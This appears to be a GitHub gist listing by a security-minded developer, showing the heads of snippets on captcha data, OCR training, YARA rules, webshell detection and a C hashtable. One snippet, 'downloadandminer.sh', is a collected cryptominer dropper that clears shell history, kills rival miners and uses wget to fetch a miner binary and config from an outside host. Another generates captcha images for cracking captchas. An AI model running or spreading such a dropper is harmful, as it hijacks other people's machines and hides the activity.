Skip to content

Instantly share code, notes, and snippets.

View mylamour's full-sized avatar
✌️
Do the right thing

Mour mylamour

✌️
Do the right thing
View GitHub Profile
@mylamour
mylamour / make_captcha.py
Created February 21, 2017 03:21
make a captcha, jsut use it to generate data for cracking captcha.
#!/usr/bin/env python
# coding: utf-8
import string,random
import numpy as np
from captcha.image import ImageCaptcha
import matplotlib.pyplot as plt
from PIL import Image
@mylamour
mylamour / convert_to_xls.py
Last active March 6, 2017 08:46
虽然我爬取了这个网站的数据,但我不认为这个网站的数据是真实的.
#!/usr/bin/env python
# coding:utf-8
"""
this code make me look like a idiot. and the O(n^2) is not a good idea, we can use a dict to store the first file info,and just go
through the second file, clearly, it can be reduce about (m-n), also, if we use binaray search to O(nlogN), but in python , use dict
to do this ,it just only O(1)
info sturct like this: [{},{},{}]
i will optimized this code later and this code just want show how use the pandas dataframe to convert json to xlsx
"""
@mylamour
mylamour / gen.sh
Last active May 24, 2017 11:28
generate chinese character, 生成汉字
#!/usr/bin/env bash
for font in $(ls -d $PWD/font/**)
do
rm -rf ./tmp_img
echo "Now we process font file in $font "
python3 gen_chinese_character_img.py $font
null_img_size=`find ./tmp_img -type f -exec ls -lSd {} + | awk '{print $5}' | uniq | tail -n 1`
count="ls ./tmp_img | wc -l"
o_count=`eval $count`
@mylamour
mylamour / comman_training.sh
Created May 24, 2017 11:42
There was two file show how to traing with tesseract ,include comman_training and lstm training
#!/usr/bin/env bash
export PATH=$PATH:/home/tesseract/training
#for comman training
#step 1 : gen img
chmod +x ./gen_img.sh
./gen_img.sh #gen_img is my script to generator the image, you can see it in my another gist
#step 2 : gen box file and gen tr file
@mylamour
mylamour / sklearn_knn_mnist.ipynb
Last active September 25, 2017 05:52
jupyter test on gist, Also Machine learning training for Colleagues
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@mylamour
mylamour / gen_yara_whitelist.sh
Created September 25, 2017 07:15
yara whitelist,rule gen
#!/usr/bin/env bash
#example:
#------------------------------------------------------------------------------------------------
#import "hash"
#rule wordpress
# {
# condition:
# /* /home/mour/working/data/wordpress/wordpress-mu-2.6.3/wp-admin */
# hash.sha1(0, filesize) == "a677f8f321832903f361f21ff07cbbac82c132f4" or
@mylamour
mylamour / downloadandminer.sh
Created December 1, 2017 06:41
Download And Miner, Collected from other place
#!/bin/bash
unset HISTFILE
killall min
killall min2
VER=`getconf LONG_BIT`
wget http://s/minerd$VER -O /tmp/min
wget http:/s/config.conf -O /tmp/config.conf
chmod 0777 /tmp/min
cpu_c=`grep processor /proc/cpuinfo | wc -l`
@mylamour
mylamour / yara_performance_guidelines.md
Created December 5, 2017 06:05 — forked from Neo23x0/yara_performance_guidelines.md
YARA Performance Guidelines

YARA Performance Guidelines

When creating your rules for YARA keep in mind the following guidelines in order to get the best performance from them. This guide is based on ideas and recommendations by Victor M. Alvarez and WXS.

  • Revision 1.1, February 2016, applies to all YARA version 3.3+

Global Rules

Global rules are evaluated first. Only if they are satisfied non-global rules are evaluated. This may be useful if all samples exhibit the same characteristics. Use them combined with the "private" statement to suppress a match notification on the global rules.

@mylamour
mylamour / requestBaiduWebshelldetect.js
Created December 18, 2017 07:06
Note: Baidu webshell detect isn't a good tools.
var fs = require("fs");
var request = require("request");
filepath = '';
var upload = { method: 'POST',
url: 'https://scanner.baidu.com/enqueue',
formData:
{ archive:
@mylamour
mylamour / hash.c
Created December 19, 2017 07:30 — forked from tonious/hash.c
A quick hashtable implementation in c.
/* Read this comment first: https://gist.github.com/tonious/1377667#gistcomment-2277101
* 2017-12-05
*
* -- T.
*/
#define _XOPEN_SOURCE 500 /* Enable certain library functions (strdup) on linux. See feature_test_macros(7) */
#include <stdlib.h>
#include <stdio.h>